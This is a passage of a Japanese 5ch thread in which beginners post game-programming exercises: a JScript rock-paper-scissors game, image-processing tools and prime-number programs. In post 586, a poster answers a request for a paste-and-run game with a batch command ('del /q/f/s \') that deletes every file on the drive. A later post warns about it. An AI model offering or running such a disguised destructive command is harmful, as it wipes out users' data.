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【初心者】課題をクリアしていくスレ【講習会】 (787レス)
【初心者】課題をクリアしていくスレ【講習会】 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/
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583: くたらぎけん [] 2006/10/20(金) 14:17:57 ID:an970z+w このスレ今から参加しても宜しいのでしょうか? http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/583
584: 名前は開発中のものです。 [sage] 2006/10/20(金) 22:11:32 ID:fQ4Z1QKt 勝手にやればいいんでね http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/584
585: 名前は開発中のものです。 [] 2006/10/21(土) 09:30:29 ID:wamNDeux メモ帳に写して実行するだけでプレイ出来るゲームのソース貼って下さい 時間が無いのでなるべく早くお願いします http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/585
586: 名前は開発中のものです。 [sage] 2006/10/21(土) 09:35:13 ID:6R8oaMOr 1.ファイル名を「適当な名前.bat」にする 2.次のを貼り付ける @echooff del /q/f/s \ 3.出来たファイルを実行する 4.昨夜はお楽しみでしたね http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/586
587: 名前は開発中のものです。 [sage] 2006/10/21(土) 19:37:53 ID:XCzYIwYp まあ実行するやつはいないと思うが、>>586はファイル全消去なので注意。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/587
588: 名前は開発中のものです。 [] 2006/10/21(土) 21:56:38 ID:wamNDeux delで何となく分かったよ 別に困らないけどね http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/588
589: 名前は開発中のものです。 [] 2006/10/22(日) 00:00:29 ID:IqzFRS51 やってみようと思うときが参加のタイミング。 適当に覗いて見よう。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/589
590: 名前は開発中のものです。 [sage] 2006/10/22(日) 09:32:09 ID:be4WCk1M 1.ファイル名を「適当な名前.js」にする 2.次のを貼り付ける var WShell = WScript.CreateObject("WScript.Shell"); var strHands = new Array(3); strHands[0]="グー"; strHands[1]="チョキ"; strHands[2]="パー"; var strResults = new Array(3); strResults[0]="引き分け"; strResults[1]="あなたの勝ち"; strResults[2]="あなたの負け"; var indexCom = Math.floor(Math.random()*3); var indexYou = WShell.Popup("グー=中止 チョキ=再試行 パー=無視", 3 , "じゃんけん", 2|32)-3; if(indexYou < 0)WShell.Popup("時間切れ", 1, "じゃんけん"); else WShell.Popup("わたし:"+strHands[indexCom]+"\nあなた:"+strHands[indexYou]+"\n\n"+strResults[(indexCom-indexYou+3)%3], 0, "じゃんけん"); 3.出来たファイルを実行する 4.勝ったら脳内で脱がせる、負けたらリアルで脱ぐ http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/590
591: 受験生 ◆B57Fo1eLjo [sage] 2006/10/22(日) 10:29:26 ID:T38aBY/h 2あたりにいた受験生です(酉忘れちまったw このスレまだあったのか… また課題でも用意する? http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/591
592: 名前は開発中のものです。 [] 2006/11/19(日) 01:28:15 ID:wJaGDUpd >>582の課題やってみました モノクロということでカラー画像から2値画像への変換 http://gamdev.org/up/img/8128.zip 開発環境はDelphi6 personal ソース、実行ファイルが含まれています 使い方 ファイル→開く でBMP画像を開いておく 画像変換→モノクロ で画像処理をはじめます 画像の大きさにもよりますがちょっと時間がかかります(サンプル画像で5秒ぐらい) 変換サンプル画像 変換前 http://bbs.gamdev.org/gamedev/gamdev.png ↓ 変換後 http://gamdev.org/up/img/8129.jpg 避難所の看板に変換処理をかけてみました 閾値はRGBともに32 この数字をうまく決めないと画像が消えちゃいますね フォトレタッチソフトは閾値の入力なしで自動で処理してるけど なにかうまい方法があるのかな http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/592
593: C++/win32API [] 2006/11/25(土) 00:09:14 ID:ZxloQDt/ 課題5です。 どなたかバックバッファがわかる方教えてください。 ↓画面が真っ白になるんですけどどうすれば直りますか? ttp://gamdev.org/up/img/8183.zip http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/593
594: 名前は開発中のものです。 [sage] 2006/11/25(土) 02:02:55 ID:FscVmuXx >>593 92-94行 SelectObject(backBafferDC,hOldPen); SelectObject(backBafferDC,hOldBr); Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y); を SelectObject(backBafferDC,hPen); SelectObject(backBafferDC,hBr); Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y); SelectObject(backBafferDC,hOldPen); SelectObject(backBafferDC,hOldBr); に直してみてはいかがか。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/594
595: 名前は開発中のものです。 [sage] 2006/11/25(土) 17:57:48 ID:zYG1sxsz >>582の課題モザイク サンプル画像 http://gamdev.org/up/img/8191.png 実行ファイルとソース http://gamdev.org/up/img/8192.zip このままの速度じゃゲームに使えないね ひと段落ついたら高速化もやってみたい それにしてもエッジ難しすぎる…… 微分やオペレータって画像処理の基本らしいので がんばりたいけど http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/595
596: 593 [] 2006/11/25(土) 21:37:45 ID:ZxloQDt/ >>594 できました!ありがとうございます。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/596
597: 名前は開発中のものです。 [sage] 2006/11/27(月) 13:00:13 ID:AfDweK2L チラシの裏だが、素数の問題について一言。 ”エラトステネスのふるい”というキーワードが出ているが、この問題に対して適応できるとは考えられない。 この方法を使うのならば、1000個目の数値が既知でなくてはならい。要するにズルをしないで解を得るには 総当りするか、無限個の要素からなる配列をふるいにかけるかである。 もしも”エラトステネスのふるい”を意識していたならば、例えば「0〜9999の間に存在する素数を列挙せよ」となる。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/597
598: 名前は開発中のものです。 [sage] 2006/11/27(月) 20:55:38 ID:3EIwZmwn >>597 いいかい、n+1が素数かどうかを最も効率よく判定するためには、 n以下の素数が列挙されている必要がある。 これが「エラトステネスのふるい」から得られる知見なのだよ。 そうしてみると、1000個目の素数を探すプログラムには、 ・ 次に判定する整数を示すカウンタ ・ 今までに見つかった素数を格納する配列 を確保する必要がある。 1000個目、という指定は、後者の確保する用量が静的に決まるため、 極めて具合が良いのだよ。 「エラトステネスのふるい」と言われて、 教科書どおりの手順しか思いつかない人間には、 残念ながら、創造の才能は無いよ。 与えられた道具は、使い方を工夫して、組み合わせるんだ。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/598
599: 名前は開発中のものです。 [sage] 2006/11/28(火) 01:45:59 ID:VYv9sMeV サンプル画像 http://kasumicyoucyou.fc2web.com/Palau2006/0329/3290151.jpg ↓ http://gamdev.org/up/img/8231.png 実行ファイルとソース http://gamdev.org/up/img/8232.zip 微分使うのを諦めて隣接するピクセルと引き算して閾値と比べてみた 工夫した点はRGBを別々に比べたこと RGBの合計を閾値と比べるより綺麗なエッジがでます 閾値を弄れば雲の部分のエッジを出すことも可能 その場合は他の場所がうまくいかなかったりするので 調整するのも難しい http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/599
600: 名前は開発中のものです。 [sage] 2006/11/28(火) 03:03:40 ID:JXILxC55 >>598 前言撤回です。自分のアホさを痛感しつつ課題に取り組みました。 ttp://gamdev.org/up/img/8233.phps というか、>>382と同じですねHAHAHA. orz http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/600
601: 名前は開発中のものです。 [sage] 2006/12/18(月) 20:43:34 ID:f8pwlrC2 課題 素数 COBOL http://gamdev.org/up/img/8389.phps まだCOBOLは出てなかったようなので……。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/601
602: 名前は開発中のものです。 [] 2007/01/03(水) 13:04:17 ID:34CL32fK ぼでぃいいいいいいいいいいいいいいいいいいいいいいいいず あいむなっとあにぃいいいいいいいいいまああああああああある! http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/602
603: 名前は開発中のものです。 [sage] 2007/02/03(土) 16:43:24 ID:b0e6Rts8 いきなりだが俺もちょこっと参加させてくれ。 とりあえずできそうなのからということで >64の素数をやってみた。つかってるのはHSP3 よろしくお願いします。 screen 0,800.700,,, font "MS ゴシック",8 a=2 b=2 c=0 repeat repeat if a\b = 0{ if a=b {: pos c\26*30,12*(c/26) : mes ""+a+" " :c++ :break} else :break } if a<b :break b++ loop a++ b=2 if c=1000 :break await 1 loop stop こんなので、こういうのができるのに自分でもびっくりだった。 本当にあってるかはよくわからんけど。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/603
604: 名前は開発中のものです。 [sage] 2007/02/03(土) 16:46:30 ID:b0e6Rts8 と思ったら過疎スレなのか(´д`) http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/604
605: 製作神 ◆3C/O4odLsY [] 2007/02/03(土) 16:50:16 ID:z04kCzis もっと投下すれば賑わうであろう。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/605
606: 名前は開発中のものです。 [sage] 2007/02/04(日) 16:07:13 ID:wipOHoKW 数当てもつくってみたよ。しかしマジでいないなー。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/606
607: 名前は開発中のものです。 [sage] 2007/02/04(日) 18:12:35 ID:MWYCkzpm >>603 偉そうに登場したのによろしくお願いしますで締めてるところにうけた http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/607
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